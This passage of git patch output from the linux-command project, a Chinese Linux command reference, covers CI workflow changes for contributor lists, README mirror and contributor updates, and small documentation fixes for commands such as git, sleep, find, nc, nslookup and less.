目录的权限"},"chown":{"n":"chown","p":"/chown","d":"用来变更文件或目录的拥有者或所属群组"},"chpasswd":{"n":"chpasswd","p":"/chpasswd","d":"批量更新用户口令的工具"},"chroot":{"n":"chroot","p":"/chroot","d":"把根目录换成指定的目的目录"},"chsh":{"n":"chsh","p":"/chsh","d":"用来更换登录系统时使用的shell"},"cksum":{"n":"cksum","p":"/cksum","d":"检查文件的CRC是否正确"},"clear":{"n":"clear","p":"/clear","d":"清除当前屏幕终端上的任何信息"},"clock":{"n":"clock","p":"/clock","d":"用于调整 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平台开发具有高压缩率的工具"},"yes":{"n":"yes","p":"/yes","d":"重复打印指定字符串"},"ypdomainname":{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},"yum":{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},"zcat":{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},"zfore":{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},"zip":{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},"zipinfo":{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},"zipsplit":{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},"znew":{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}} \ No newline at end of file diff --git a/package.json b/package.json index f18ea257b13..5c7c4b4d0b1 100644 --- a/package.json +++ b/package.json @@ -1,6 +1,6 @@ { "name": "linux-command", - "version": "1.12.0", + "version": "1.13.0", "description": "Linux Command", "homepage": "https://jaywcjlove.github.io/linux-command/", "main": "dist/data.json", From 48c51ac554eb4b2dd54b882e1fa34476594c84e5 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sun, 13 Nov 2022 16:39:31 +0800 Subject: [PATCH 056/570] doc: Modify Contributors info. --- .github/workflows/ci.yml | 8 ++++++++ README.md | 8 +++++--- 2 files changed, 13 insertions(+), 3 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 96960c8266d..afded40853b 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -15,10 +15,18 @@ jobs: - name: Generate Contributors Images uses: jaywcjlove/github-action-contributors@main + id: contributors with: filter-author: (renovate\[bot\]|renovate-bot|dependabot\[bot\]) avatarSize: 42 + - name: Modify README.md + uses: jaywcjlove/github-action-modify-file-content@main + with: + path: README.md + body: | + ${{steps.contributors.outputs.htmlList}} + - name: Build Linux Command run: | npm install diff --git a/README.md b/README.md index 3eb76713e30..e8d7b8a1bb0 100644 --- a/README.md +++ b/README.md @@ -336,15 +336,17 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 ---|---|--- [小弟调调™](http://wangchujiang.com) | [ZhuangZhu-74](https://github.com/ZhuangZhu-74) | [Huck Huang](https://github.com/huckhuang) -## Contributors +## 感谢所有贡献者 -As always, thanks to our amazing contributors! +一如既往，感谢我们出色的贡献者！ + + -Made with [github-action-contributors](https://github.com/jaywcjlove/github-action-contributors). +贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 ## License From 147bc3dd28411cb82bc6c590924b6d3af1150ee2 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 13 Nov 2022 08:40:20 +0000 Subject: [PATCH 057/570] doc: modify README.md. --- README.md | 357 +++++++++++++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 353 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index e8d7b8a1bb0..3d7192a3a83 100644 --- a/README.md +++ b/README.md @@ -340,11 +340,360 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 一如既往，感谢我们出色的贡献者！ - - - + + 小弟调调™ - + + ZhuangZhu-74 + + + Mend Renovate + + + Huck Huang + + + lutixiaya + + + L + + + clay-wangzhi + + + Glett + + + 项金 + + + Jayin Taung + + + Zhang Zijing + + + Fubin Zhang + + + 烟草的香味 + + + __FresHmaN + + + James Wang + + + Lnkstls + + + Segfault + + + lavaicer + + + loverainye + + + jeff + + + dulltackle + + + ernest + + + Ein Verne + + + Pan, Wen-Ming + + + RichardLCD + + + Xingwen Zhang + + + Dazhuangw + + + wa7t + + + Shell + + + 吕程风 + + + DaYangtuo247 + + + Danny + + + Divenire + + + Frankie + + + Herbert8 + + + HighScorePlayer + + + Huntout Zhang + + + Jack + + + Jack.A.Black + + + LaudOak + + + Legend + + + LexsionLee + + + 孟思行 + + + Lucien + + + 王勇涛 + + + mwei + + + Marnm + + + MinsonLee + + + Mystic + + + Ray Yee + + + Rining Wu + + + Robigus + + + Rocher + + + 殇 + + + SMVirus + + + SevenSteven + + + Azolla + + + RoachZhao + + + Spaghetti-C + + + 王杰 + + + Wingrez + + + Xiaodong DENG + + + Xu Chunyang + + + Yan Sheng + + + Yunbin Liu + + + 0Knot (0KN) + + + One Person’s Revelry + + + amit794 + + + bell + + + brinkqiang + + + chen + + + cxalc + + + dayday + + + deny + + + dongpohezui + + + ecjtusbs + + + gang.yang + + + gedune + + + gesty + + + gggwvg + + + ghy + + + gcluffy + + + huangyao + + + juemuren4449 + + + kassadin + + + kid1412621 + + + leo + + + linuxwd + + + logicwang + + + cole + + + myliwenbo + + + noodles2hg + + + oliver + + + rexlin600 + + + shc + + + snovey + + + UniqueDing + + + weibk + + + yanyx + + + zengFz + + + zjlovezj + + + zodiac + + + zoomdong + + + zuixin369 + + + 七朔 + + + 孤城落寞 + + + 宋小北 + + + Loofra + + + ReZero + + + 极简XksA + + + 沙漠之子 + + + 移动的红烧肉 + + + 继刚 + + + huzk + + + 谢民皆 + + + 远方 + + + 鞍马稀 + + + 黑&蛋 + 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 From 18bf16646ffcd6c60673f4d8f420c04d41c16922 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sun, 13 Nov 2022 16:45:40 +0800 Subject: [PATCH 058/570] chore: modify contributors template. --- .github/workflows/ci.yml | 2 ++ README.md | 4 ++-- template/contributors.ejs | 6 ++++-- 3 files changed, 8 insertions(+), 4 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index afded40853b..7929de7577d 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -18,6 +18,8 @@ jobs: id: contributors with: filter-author: (renovate\[bot\]|renovate-bot|dependabot\[bot\]) + openDelimiter: '' + closeDelimiter: '' avatarSize: 42 - name: Modify README.md diff --git a/README.md b/README.md index 3d7192a3a83..23e785498bc 100644 --- a/README.md +++ b/README.md @@ -340,7 +340,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 一如既往，感谢我们出色的贡献者！ - + 小弟调调™ @@ -693,7 +693,7 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 黑&蛋 - + 贡献者列表，由 [contributors](https://github.com/jaywcjlove/github-action-contributors) 自动生成 diff --git a/template/contributors.ejs b/template/contributors.ejs index a799f612bba..040c3359e80 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -1,8 +1,10 @@ <%- include('partial/header'); %> <%- include('widget/search',{type: "list"}); %>
-

Contributors

-
<%-describe.contributors ? describe.contributors : '' %>
+

贡献者列表

+
+ +

数据来源于 GitHub Contributors，使用action-contributors创建。

From e29487a0efeaaa914703cee939b543188ac84f9e Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sun, 13 Nov 2022 16:50:11 +0800 Subject: [PATCH 059/570] chore: update workflows config. --- .github/workflows/ci.yml | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 7929de7577d..95be86f432d 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -29,6 +29,13 @@ jobs: body: | ${{steps.contributors.outputs.htmlList}} + - name: Modify contributors.ejs + uses: jaywcjlove/github-action-modify-file-content@main + with: + path: template/contributors.ejs + body: | + ${{steps.contributors.outputs.htmlList}} + - name: Build Linux Command run: | npm install From 829233e565a4c7b4a18fc5a914e389f5c1b7c3c3 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Sun, 13 Nov 2022 16:58:17 +0800 Subject: [PATCH 060/570] chore: update workflows config. --- .github/workflows/ci.yml | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 95be86f432d..231f770eaa9 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -18,14 +18,14 @@ jobs: id: contributors with: filter-author: (renovate\[bot\]|renovate-bot|dependabot\[bot\]) - openDelimiter: '' - closeDelimiter: '' avatarSize: 42 - name: Modify README.md uses: jaywcjlove/github-action-modify-file-content@main with: path: README.md + openDelimiter: '' + closeDelimiter: '' body: | ${{steps.contributors.outputs.htmlList}} @@ -33,6 +33,8 @@ jobs: uses: jaywcjlove/github-action-modify-file-content@main with: path: template/contributors.ejs + openDelimiter: '' + closeDelimiter: '' body: | ${{steps.contributors.outputs.htmlList}} From 48d11a5328762956092b4609e13d01fd8e938eac Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 13 Nov 2022 08:59:02 +0000 Subject: [PATCH 061/570] doc: modify template/contributors.ejs. --- template/contributors.ejs | 355 +++++++++++++++++++++++++++++++++++++- 1 file changed, 354 insertions(+), 1 deletion(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index 040c3359e80..cff857d8ad6 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -3,7 +3,360 @@

贡献者列表

数据来源于 GitHub Contributors，使用action-contributors创建。 From ac01835d7fc2de6f062b8b678ca17d25e90e2911 Mon Sep 17 00:00:00 2001 From: lewis1573 <77063576+lewis1573@users.noreply.github.com> Date: Mon, 14 Nov 2022 15:29:59 +0800 Subject: [PATCH 062/570] doc: Update git.md (#447) --- command/git.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/command/git.md b/command/git.md index 044daacdadf..d12a54a8166 100644 --- a/command/git.md +++ b/command/git.md @@ -964,7 +964,8 @@ git --git-dir='<绝对地址>/.git' describe --tags HEAD # 查看本地版本信 ```shell git config format.pretty oneline #显示历史记录时，每个提交的信息只显示一行 git config color.ui true #彩色的 git 输出 -git log #查看最近的提交日志 +git log #查看提交日志，从最近的提交开始显示 +git log --reverse #查看提交日志，从最远的提交开始显示 git log --pretty=oneline #单行显示提交日志 git log --graph --pretty=oneline --abbrev-commit git log -num #显示第几条log（倒数） From 909b84f7b53821b80780cc685c068bf70e709ed1 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 14 Nov 2022 07:30:48 +0000 Subject: [PATCH 063/570] doc: modify README.md. --- README.md | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 23e785498bc..76a03f161cb 100644 --- a/README.md +++ b/README.md @@ -427,8 +427,8 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Shell - - 吕程风 + + 谈笑风生间 DaYangtuo247 @@ -601,6 +601,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 leo + + lewis1573 + linuxwd From 7d89c2c8c33ce19c48d13d4058272c2aad0c9a7e Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Mon, 14 Nov 2022 07:30:49 +0000 Subject: [PATCH 064/570] doc: modify template/contributors.ejs. --- template/contributors.ejs | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index cff857d8ad6..f308157dc2d 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -90,8 +90,8 @@ Shell - - 吕程风 + + 谈笑风生间 DaYangtuo247 @@ -264,6 +264,9 @@ leo + + lewis1573 + linuxwd From 3f09e8ee4c016e4d21e5dfb9407d153f1feccce5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= Date: Tue, 15 Nov 2022 15:58:13 +0800 Subject: [PATCH 065/570] Update README.md #283 --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 76a03f161cb..4eb826df9db 100644 --- a/README.md +++ b/README.md @@ -38,7 +38,7 @@ **推荐使用的镜像 web 版本** [**`qq.wdev.cn`**](https://qq.wdev.cn) -[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/) +[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[linux.vovuo.com](https://linux.vovuo.com/) **其它 web 版本** From 60208b4338113337050adb3c58080ebaa4dbf136 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E7=83=9F=E8=8D=89=E7=9A=84=E9=A6=99=E5=91=B3?= Date: Tue, 15 Nov 2022 17:44:09 +0800 Subject: [PATCH 066/570] Update sleep.md (#448) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 清晰文档实例, 并添加`infinity`参数选项 --- command/sleep.md | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/command/sleep.md b/command/sleep.md index 6709eeed73e..0310b2353dc 100644 --- a/command/sleep.md +++ b/command/sleep.md @@ -15,9 +15,13 @@ sleep(参数) ### 参数 -时间：指定要暂停时间的长度。 +时间：指定要暂停时间的长度, 包括如下: -时间长度，后面可接 s、m、h 或 d，其中 s 为秒，m 为 分钟，h 为小时，d 为日数。 +* `2s`: 2秒 +* `2m`: 2分钟 +* `2h`: 2小时 +* `2d`: 2天 +* `infinity`: 永久 ### 实例 @@ -36,4 +40,3 @@ for ((i=0;$i<=100;i++)) echo ``` - From 357a54773f835e7bd55c3b023e35f799c83e1ba2 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 15 Nov 2022 09:44:53 +0000 Subject: [PATCH 067/570] doc: modify README.md. --- README.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 4eb826df9db..0ef684671e8 100644 --- a/README.md +++ b/README.md @@ -364,6 +364,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Glett + + 烟草的香味 + 项金 @@ -376,9 +379,6 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Fubin Zhang - - 烟草的香味 - __FresHmaN From 71a2180f5876ff03e20bc96d70064e8b2c081d1e Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Tue, 15 Nov 2022 09:44:54 +0000 Subject: [PATCH 068/570] doc: modify template/contributors.ejs. --- template/contributors.ejs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/template/contributors.ejs b/template/contributors.ejs index f308157dc2d..5f8a8721b20 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -27,6 +27,9 @@ Glett + + 烟草的香味 + 项金 @@ -39,9 +42,6 @@ Fubin Zhang - - 烟草的香味 - __FresHmaN From 8deccc2f9244700085046b94e2ee1dd3a0ec3284 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=8F=E5=BC=9F=E8=B0=83=E8=B0=83=E2=84=A2?= Date: Wed, 16 Nov 2022 15:42:06 +0800 Subject: [PATCH 069/570] doc: Update find.md #449 --- command/find.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/command/find.md b/command/find.md index 32c62653af0..d6c5521366b 100644 --- a/command/find.md +++ b/command/find.md @@ -43,7 +43,7 @@ find(选项)(参数) -iregex<范本样式>：此参数的效果和指定“-regexe”参数类似，但忽略字符大小写的差别； -links<连接数目>：查找符合指定的硬连接数目的文件或目录； -lname<范本样式>：指定字符串作为寻找符号连接的范本样式； --ls：假设find指令的回传值为Ture，就将文件或目录名称列出到标准输出； +-ls：假设find指令的回传值为True，就将文件或目录名称列出到标准输出； -maxdepth<目录层级>：设置最大目录层级； -mindepth<目录层级>：设置最小目录层级； -mmin<分钟>：查找在指定时间曾被更改过的文件或目录，单位以分钟计算； @@ -57,9 +57,9 @@ find(选项)(参数) -ok<执行指令>：此参数的效果和指定“-exec”类似，但在执行指令之前会先询问用户，若回答“y”或“Y”，则放弃执行命令； -path<范本样式>：指定字符串作为寻找目录的范本样式； -perm<权限数值>：查找符合指定的权限数值的文件或目录； --print：假设find指令的回传值为Ture，就将文件或目录名称列出到标准输出。格式为每列一个名称，每个名称前皆有“./”字符串； --print0：假设find指令的回传值为Ture，就将文件或目录名称列出到标准输出。格式为全部的名称皆在同一行； --printf<输出格式>：假设find指令的回传值为Ture，就将文件或目录名称列出到标准输出。格式可以自行指定； +-print：假设find指令的回传值为True，就将文件或目录名称列出到标准输出。格式为每列一个名称，每个名称前皆有“./”字符串； +-print0：假设find指令的回传值为True，就将文件或目录名称列出到标准输出。格式为全部的名称皆在同一行； +-printf<输出格式>：假设find指令的回传值为True，就将文件或目录名称列出到标准输出。格式可以自行指定； -prune：不寻找字符串作为寻找文件或目录的范本样式; -regex<范本样式>：指定字符串作为寻找文件或目录的范本样式； -size<文件大小>：查找符合指定的文件大小的文件； From b3fb457a30637bbb0248902bfc710ec08b910890 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=B0=98=E5=9F=83?= Date: Wed, 16 Nov 2022 15:42:42 +0800 Subject: [PATCH 070/570] Update nc.md (#450) --- command/nc.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/command/nc.md b/command/nc.md index 64a8ee517fd..100ff19fb71 100644 --- a/command/nc.md +++ b/command/nc.md @@ -49,7 +49,7 @@ nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文 **扫描UDP端口** ```shell -[root@localhost ~]# nc -u -z -w2 192.168.0.1 1-1000 # 扫描192.168.0.3 的端口 范围是 1-1000 +[root@localhost ~]# nc -u -z -w2 192.168.0.3 1-1000 # 扫描192.168.0.3 的端口 范围是 1-1000 ``` **扫描指定端口** From 9f8c7614c91a0d2eeeb97206f2d21cfdc0c98694 Mon Sep 17 00:00:00 2001 From: Guiying Li Date: Thu, 17 Nov 2022 11:23:23 +0800 Subject: [PATCH 071/570] Update nslookup.md (#451) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * Update nslookup.md 添加了指定域名服务器的说明，以及相关的示例。 * Update README.md 添加了一个部署了linux command的网页。 ADD an address to the newly deployed Linux Command Website, which I maintain. --- README.md | 2 +- command/nslookup.md | 18 ++++++++++++++++-- 2 files changed, 17 insertions(+), 3 deletions(-) diff --git a/README.md b/README.md index 0ef684671e8..36da32a3fd1 100644 --- a/README.md +++ b/README.md @@ -42,7 +42,7 @@ **其它 web 版本** -[`linux.ftqq.com`](https://linux.ftqq.com/)，[`linux.gaomeluo.com`](https://linux.gaomeluo.com)，[`atoolbox.net`](http://www.atoolbox.net/Tool.php?Id=826)，[`xiaoshanseo.com`](https://tools.xiaoshanseo.com/Tools/linux-command/)，[`262235.xyz`](https://262235.xyz/linux-command/)，[`cmsblogs.cn`](https://linux.cmsblogs.cn/)，[`loquy.cn`](https://www.loquy.cn/linux-command/)，[`buyao.vip`](https://demo.buyao.vip/linux/)，[`hezhiqiang.gitbook.io`](https://hezhiqiang.gitbook.io/linux/) +[`linux.ftqq.com`](https://linux.ftqq.com/)，[`linux.gaomeluo.com`](https://linux.gaomeluo.com)，[`atoolbox.net`](http://www.atoolbox.net/Tool.php?Id=826)，[`xiaoshanseo.com`](https://tools.xiaoshanseo.com/Tools/linux-command/)，[`262235.xyz`](https://262235.xyz/linux-command/)，[`cmsblogs.cn`](https://linux.cmsblogs.cn/)，[`loquy.cn`](https://www.loquy.cn/linux-command/)，[`buyao.vip`](https://demo.buyao.vip/linux/)，[`hezhiqiang.gitbook.io`](https://hezhiqiang.gitbook.io/linux/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/) ## 微信小程序版本 diff --git a/command/nslookup.md b/command/nslookup.md index f8d0445efcb..5eff691a82b 100644 --- a/command/nslookup.md +++ b/command/nslookup.md @@ -7,14 +7,16 @@ nslookup **nslookup命令** 是常用域名查询工具，就是查DNS信息用的命令。 -nslookup4有两种工作模式，即“交互模式”和“非交互模式”。在“交互模式”下，用户可以向域名服务器查询各类主机、域名的信息，或者输出域名中的主机列表。而在“非交互模式”下，用户可以针对一个主机或域名仅仅获取特定的名称或所需信息。 +nslookup有两种工作模式，即“交互模式”和“非交互模式”。在“交互模式”下，用户可以向域名服务器查询各类主机、域名的信息，或者输出域名中的主机列表。 + +在“非交互模式”下，用户可以针对一个主机或域名仅仅获取特定的名称或所需信息，此时也可以指定查询的DNS服务器。 进入交互模式，直接输入nslookup命令，不加任何参数，则直接进入交互模式，此时nslookup会连接到默认的域名服务器（即`/etc/resolv.conf`的第一个dns地址）。或者输入`nslookup -nameserver/ip`。进入非交互模式，就直接输入`nslookup 域名`就可以了。 ### 语法 ```shell -nslookup(选项)(参数) +nslookup(选项)(参数)(DNS服务器) ``` ### 选项 @@ -27,6 +29,9 @@ nslookup(选项)(参数) 域名：指定要查询域名。 +### DNS服务器 +不填的话采用默认域名服务器（即`/etc/resolv.conf`的第一个dns地址）,填写DNS服务器IP的话，nslookup会向该域名服务器查询域名。 + ### 实例 ```shell @@ -38,6 +43,15 @@ Non-authoritative answer: www.jsdig.com canonical name = host.1.jsdig.com. Name: host.1.jsdig.com Address: 100.42.212.8 + +[root@localhost ~]# nslookup www.sustech.edu.cn 8.8.8.8 +Server: 8.8.8.8 +Address: 8.8.8.8#53 + +Non-authoritative answer: +www.sustech.edu.cn canonical name = www.sustech.edu.cn.w.cdngslb.com. +Name: www.sustech.edu.cn.w.cdngslb.com +Address: 113.96.179.222 ``` From 7c375be401330fd35b1d90034c95202e57d722d8 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 17 Nov 2022 03:24:14 +0000 Subject: [PATCH 072/570] doc: modify README.md. --- README.md | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/README.md b/README.md index 36da32a3fd1..6d0bf27ea87 100644 --- a/README.md +++ b/README.md @@ -442,6 +442,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 Frankie + + Guiying Li + Herbert8 @@ -664,6 +667,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 宋小北 + + 尘埃 + Loofra From 44d99b3b3a1aeb13a88d11ca326286e096aaf08d Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Thu, 17 Nov 2022 03:24:15 +0000 Subject: [PATCH 073/570] doc: modify template/contributors.ejs. --- template/contributors.ejs | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/template/contributors.ejs b/template/contributors.ejs index 5f8a8721b20..3f59728c4a4 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -105,6 +105,9 @@ Frankie + + Guiying Li + Herbert8 @@ -327,6 +330,9 @@ 宋小北 + + 尘埃 + Loofra From 4cbaf2acc6a97d0cf3b17e8c1f89abe8c24bdc63 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Thu, 17 Nov 2022 11:28:00 +0800 Subject: [PATCH 074/570] doc: Update README.md #451 --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 6d0bf27ea87..caa40158327 100644 --- a/README.md +++ b/README.md @@ -38,11 +38,11 @@ **推荐使用的镜像 web 版本** [**`qq.wdev.cn`**](https://qq.wdev.cn) -[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[linux.vovuo.com](https://linux.vovuo.com/) +[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[linux.vovuo.com](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/) **其它 web 版本** -[`linux.ftqq.com`](https://linux.ftqq.com/)，[`linux.gaomeluo.com`](https://linux.gaomeluo.com)，[`atoolbox.net`](http://www.atoolbox.net/Tool.php?Id=826)，[`xiaoshanseo.com`](https://tools.xiaoshanseo.com/Tools/linux-command/)，[`262235.xyz`](https://262235.xyz/linux-command/)，[`cmsblogs.cn`](https://linux.cmsblogs.cn/)，[`loquy.cn`](https://www.loquy.cn/linux-command/)，[`buyao.vip`](https://demo.buyao.vip/linux/)，[`hezhiqiang.gitbook.io`](https://hezhiqiang.gitbook.io/linux/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/) +[`linux.ftqq.com`](https://linux.ftqq.com/)，[`linux.gaomeluo.com`](https://linux.gaomeluo.com)，[`atoolbox.net`](http://www.atoolbox.net/Tool.php?Id=826)，[`xiaoshanseo.com`](https://tools.xiaoshanseo.com/Tools/linux-command/)，[`262235.xyz`](https://262235.xyz/linux-command/)，[`cmsblogs.cn`](https://linux.cmsblogs.cn/)，[`loquy.cn`](https://www.loquy.cn/linux-command/)，[`buyao.vip`](https://demo.buyao.vip/linux/)，[`hezhiqiang.gitbook.io`](https://hezhiqiang.gitbook.io/linux/) ## 微信小程序版本 From a36af1f528182eb0377226ba0cfacc3628e8761a Mon Sep 17 00:00:00 2001 From: c2ch <35028011+c2ch@users.noreply.github.com> Date: Fri, 18 Nov 2022 18:09:21 +0800 Subject: [PATCH 075/570] Update less.md (#452) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 更新less命令 --- command/less.md | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) diff --git a/command/less.md b/command/less.md index 9e8d8064f29..9f6ab459500 100644 --- a/command/less.md +++ b/command/less.md @@ -34,6 +34,23 @@ less(选项)(参数) ```shell sudo less /var/log/shadowsocks.log + +/字符串：向下搜索"字符串"的功能 +?字符串：向上搜索"字符串"的功能 +n：继续向后搜索 +N：向前搜索 +b: 向后翻一页 +d: 向后翻半页 +u: 向前滚动半页 +y: 向前滚动一行 +Q: 退出less 命令 +空格键: 滚动一页 +回车键: 滚动一行 +[pagedown]： 向下翻动一页 +[pageup]： 向上翻动一页 +G: 移动到最后一行 +g: 移动到第一行 + ``` From 7d146ccfee368ccc0a356b873c731a9560df933e Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 18 Nov 2022 10:09:53 +0000 Subject: [PATCH 076/570] doc: modify README.md. --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index caa40158327..57c50229f6f 100644 --- a/README.md +++ b/README.md @@ -553,6 +553,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 brinkqiang + + c2ch + chen From 0743dda848968c295f4e9247018292fc589c102e Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Fri, 18 Nov 2022 10:09:54 +0000 Subject: [PATCH 077/570] doc: modify template/contributors.ejs. --- template/contributors.ejs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/template/contributors.ejs b/template/contributors.ejs index 3f59728c4a4..e869c0a4520 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -216,6 +216,9 @@ brinkqiang + + c2ch + chen From 9d35988752cc5d68a55581b17ffb0dd077249a2d Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 22 Nov 2022 23:31:17 +0800 Subject: [PATCH 078/570] doc: update workflows config. #454 --- .github/workflows/ci.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 231f770eaa9..2c25bad32a0 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -152,7 +152,7 @@ jobs: run: echo ${{ github.token }} | docker login ghcr.io -u ${{ github.actor }} --password-stdin - name: Build docker image - run: docker build -t ghcr.io/jaywcjlove/linux-command:latest . + run: docker buildx create --platform linux/arm64,linux/arm/v8 -t ghcr.io/jaywcjlove/linux-command:latest . - name: Publish to GitHub registry run: docker push ghcr.io/jaywcjlove/linux-command:latest From 493a691beb21dd338d8ff04bdfc081c6183238c4 Mon Sep 17 00:00:00 2001 From: jaywcjlove <398188662@qq.com> Date: Tue, 22 Nov 2022 23:37:09 +0800 Subject: [PATCH 079/570] doc: update workflows config. #454 --- .github/workflows/ci.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 2c25bad32a0..25298f6ead2 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -152,7 +152,7 @@ jobs: run: echo ${{ github.token }} | docker login ghcr.io -u ${{ github.actor }} --password-stdin - name: Build docker image - run: docker buildx create --platform linux/arm64,linux/arm/v8 -t ghcr.io/jaywcjlove/linux-command:latest . + run: 